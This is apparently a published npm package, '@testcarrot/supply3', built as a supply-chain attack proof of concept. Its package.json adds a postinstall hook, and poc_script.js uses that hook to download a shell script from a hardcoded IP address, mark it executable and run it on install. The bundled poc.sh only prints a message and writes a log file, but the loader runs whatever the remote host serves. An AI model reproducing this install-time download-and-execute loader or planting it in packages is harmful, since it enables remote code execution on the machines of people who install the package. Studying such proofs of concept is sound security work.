@testcarrot/supply3 1.0.1

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "@testcarrot/supply3",
+  "version": "1.0.1",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node poc_script.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
+}

package/poc.sh

@@ -0,0 +1,7 @@
+#!/bin/bash
+
+# 이 스크립트가 실행되었음을 터미널에 알림
+echo "[+] POC Shell Script: Successfully downloaded and executed."
+
+# 실행되었다는 로그 파일을 남김
+echo "This file was created by the downloaded poc.sh at $(date)" > poc_shell_executed.log

package/poc_script.js

@@ -0,0 +1,44 @@
+const fs = require('fs');
+const http = require('http');
+const { exec } = require('child_process');
+
+console.log('[+] Advanced POC Script (Loader): Script triggered.');
+
+const scriptUrl = 'http://10.129.66.175:8000/poc.sh';
+const downloadedScriptPath = 'downloaded_payload.sh';
+
+// 1. 외부 스크립트 다운로드 (Downloader)
+const file = fs.createWriteStream(downloadedScriptPath);
+http.get(scriptUrl, (response) => {
+  response.pipe(file);
+
+  file.on('finish', () => {
+    file.close();
+    console.log('[+] POC Action: Payload script downloaded successfully.');
+
+    try {
+      // 2. 스크립트에 실행 권한 부여 (Permission Escalation)
+      // UNIX 계열 시스템(Linux, macOS)에서 필수적인 단계
+      fs.chmodSync(downloadedScriptPath, '755');
+      console.log('[+] POC Action: Made the downloaded script executable.');
+
+      // 3. 다운로드한 스크립트 실행 (Execution)
+      console.log('[+] POC Action: Executing the downloaded payload...');
+      exec(`sh ./${downloadedScriptPath}`, (error, stdout, stderr) => {
+        if (error) {
+          console.error(`[-] POC Error: Failed to execute script. Error: ${error.message}`);
+          return;
+        }
+        // poc.sh 에서 출력한 메시지를 보여줌
+        console.log(`[+] POC Success: Script output:\n${stdout}`);
+        if (stderr) {
+          console.error(`[!] POC stderr: ${stderr}`);
+        }
+      });
+    } catch (err) {
+      console.error(`[-] POC Error during chmod/exec: ${err.message}`);
+    }
+  });
+}).on('error', (err) => {
+  console.error(`[-] POC Error: Failed to download script. Is the local server running? Error: ${err.message}`);
+});